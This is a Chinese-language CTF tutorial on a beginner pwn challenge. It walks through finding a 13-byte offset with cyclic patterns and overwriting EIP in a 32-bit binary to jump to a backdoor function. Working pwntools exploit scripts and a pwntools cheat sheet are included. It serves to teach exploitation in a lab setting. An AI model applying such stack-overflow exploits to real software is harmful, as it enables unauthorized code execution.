一、前言
学习CTF的PWN找了一个最简单的程序学习记录一下
首先下载漏洞程序
pwn_level1链接：https://lmpan.lmboke.com/pwn_level1.zip
先看一下程序的大概信息
elf 32位 先大概看一下main函数
再看一下vulnerable_function函数
反编译看一下
二、获取控制EIP的位置
新建一个exp1.py写如下代码
from pwn import *
p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))
p.interactive()
终端跑一下
python3 exp1.py
在pwndbg这个窗口窗口下面输入c，然后回车
看EIP当前执行到了0x65616161,因为栈溢出覆盖到了EIP，但是这个地址不存在
加上一行代码搜一下0x65616161的位置
from pwn import *
p = process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
p.send(cyclic(0x100))
print(cyclic_find(0x65616161))# 加上这行代码
p.interactive()
打印出13
也就是我们只要填充13个字符就可以控制EIP了。
也可以在gdb中利用pattern命令来获取需要填充的字符数量
首先gdb加载程序，用命令pattern create 100 来创建一个长度为100的字符串，然后输入r命令运行程序，复制我们刚才生成的字符串输入
回车然后用命令pattern offset 0x65616161获取需要填充的字符个数
搜索结果出来了两个，小端13，大端 16，x86程序是小端的，所以是13，我们也可以用readelf命令确认一下
三、跳转到后门
后门函数，地址是在0x804849A
要执行这个函数，只要填充13个字符，再加上p32(0x804849A)就可以了
最终payload是
from pwn import *
p=process('./pwn_level1')
context.log_level='debug'
gdb.attach(p)
p.recvuntil('try to stackoverflow!!')
p.send(b'a'*13+p32(0x804849A))
p.interactive()
再运行一下脚本，在pwndbg这个窗口下面输入c，然后回车
在运行脚本那个终端输入ls，可以看到打印了同目录的文件
四、原理
看一下vulnerable_function函数
简单一点我们看ida反汇编的函数
buf的大小是9，read的时候写入buf的数据是0x100，由此出现了溢出，读取的数据覆盖到了EIP就可以控制EIP了，我们对比一下read数据长度小于9和长度大于9的情况就清楚了，这个是输入123456的长度小9，read完返回到main+22
再看一下长度超过9的出现溢出的情况
对比不溢出的栈可以看到原来返回到main+22的地址被覆盖成了aaae也就是0x65616161，只要把这个换成我们要执行的后门函数地址就get shell了。
五、附录
pwntools常用命令
连接
remote('ip',端口)# 远程
process()# 本地
发送
send(data) # 发送数据
sendline(data) # 发送一行数据，相当于在数据末尾加\n
sendafter(xxx,data) # 接收到 xxx 之后发送 data
接收
recv(numb=4096, timeout=default) # 接收指定字节
recvline(keepends=True) # 接收一行，keepends为是否保留行尾的\n
recvuntil(delims, drop=False) # 一直读到 delims 的 pattern 出现为止
recvrepeat(timeout=default) # 持续接受直到EOF或timeout
交互
interactive() #直接进行交互，相当于回到shell的模式，在取得shell之后使用
打包解包
p32()/p64() # 打包一个整数，分别打包为32位或64位
u32()/u64() # 解包一个字符串，得到整数
比如将0xdeadbeef进行32位的打包，将会得到’\xef\xbe\xad\xde’（小端）
payload = p32(0xdeadbeef)
payload = p64(0xdeadbeef)
gdb模块
gdb.attach(target, gdbscript = None) # 在一个新终端打开 GDB 并 attach 到指定 PID 的进程，或者一个 pwnlib.tubes 对象
例如
bash = process(‘./bash’)
gdb.attach(bash)
